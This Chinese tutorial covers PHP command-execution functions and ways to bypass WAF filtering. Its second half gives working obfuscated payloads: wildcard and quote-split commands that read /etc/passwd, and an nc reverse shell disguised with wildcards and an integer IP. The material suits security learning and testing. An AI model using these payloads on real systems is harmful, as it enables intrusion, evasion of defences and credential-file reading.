命令执行常见函数及waf绕过方法
命令执行相关函数
system,exec,shell_exec,passthru,popen,proc_popen
1. system()
-
功能:执行外部命令并直接输出结果。
- 示例:
system("ls -l /tmp");
- 输出:
total 0 -rw-r--r-- 1 www-data www-data 0 Sep 10 12:34 test.txt
-
特点:
-
直接显示命令的输出。
-
返回命令的最后一行结果(可通过第二个参数获取返回值)。
-
2. exec()
-
功能:执行命令并捕获输出到数组。
- 示例:
exec("ls -l /tmp", $output, $return_var); print_r($output); echo "Exit Code: $return_var";
- 输出:
Array ( [0] => total 0 [1] => -rw-r--r-- 1 www-data www-data 0 Sep 10 12:34 test.txt ) Exit Code: 0
-
特点:
-
不直接输出结果,需通过数组参数获取。
-
返回最后一行结果,可通过第三个参数获取命令的退出状态码。
-
3. shell_exec()
-
功能:通过 Shell 执行命令并返回完整输出字符串。
- 示例:
$result = shell_exec("ls -l /tmp"); echo $result;
-
输出:
total 0 -rw-r--r-- 1 www-data www-data 0 Sep 10 12:34 test.txt
-
特点:
-
返回完整的输出字符串(包括换行符)。
-
若输出为空,返回
null。
-
4. passthru()
-
功能:执行命令并直接输出原始结果(如二进制数据)。
- 示例:
passthru("cat /etc/passwd");
- 输出:
root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
-
特点:
-
适合处理二进制数据(如图像、压缩文件)。
-
不返回结果,直接输出到标准输出。
-
5. popen() / proc_open()
(1) popen()
-
功能:打开进程文件指针,进行交互式输入/输出。
- 示例:
$handle = popen("ls -l /tmp", "r"); while (!feof($handle)) { echo fgets($handle); } pclose($handle);
(2) proc_open()
-
功能:更复杂的进程控制,支持管道和错误流。
- 示例:
$descriptors = [ ["pipe", "r"], // 标准输入 ["pipe", "w"], // 标准输出 ["pipe", "w"] // 标准错误 ]; $process = proc_open("ls -l /tmp", $descriptors, $pipes); if (is_resource($process)) { echo stream_get_contents($pipes[1]); // 输出结果 fclose($pipes[1]); proc_close($process); }
命令执行WAF绕过
主要是通配符和连接符
通配符
在bash的操作环境中有一个非常有用的功能,那就是通配符,下面列出一些常用的通配符:
* 代表『 0 个到无穷多个』任意字符 ? 代表『一定有一个』任意字符 [ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』 [ - ] 若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的! [^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。
使用通配符来执行命令:
ls -l 使用通配符 /?in/?s -l
读取etc/passwd:
/???/??t /??c/p???w? 有时候WAF不允许使用太多的?号 /?in/cat /?tc/p?sswd
nc反弹shell:
nc -e /bin/bash 127.0.0.1 3737 为了避免符号.我们可以将IP地址转换成整型。 127.0.0.1 → 2130706433 使用通配符 root@kali:~# /??n/?c -e /??n/b??h 2130706433 3737
连接符
在bash的操作环境中还有一个非常有用的功能,那就是连接符,例如:
root@kali:~# echo hello hello root@kali:~# echo h'ello > ' hello root@kali:~# echo 'h'ell'o' hello
你唯一需要注意的就是闭合,这点很重要,利用这个我们可以绕过一些匹配字符串的WAF规则。
读取/etc/passwd:
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
检测NC:
/'b'i'n'/'w'h'i'c'h' 'n'c
没有NC的情况检查wget:
/'b'i'n'/'w'h'i'c'h' 'w'g'e't
其他字符:
双引号 /"b"i"n"/"w"h"i"c"h" "n"c 反斜杆 /b\i\n/w\h\i\c\h n\c
未初始化的bash变量
在bash环境中允许我们使用未初始化的bash变量,如:
cat$a /etc$a/passwd$a
参考文章
命令执行WAF绕过技巧总结 - FreeBuf网络安全行业门户

浙公网安备 33010602011771号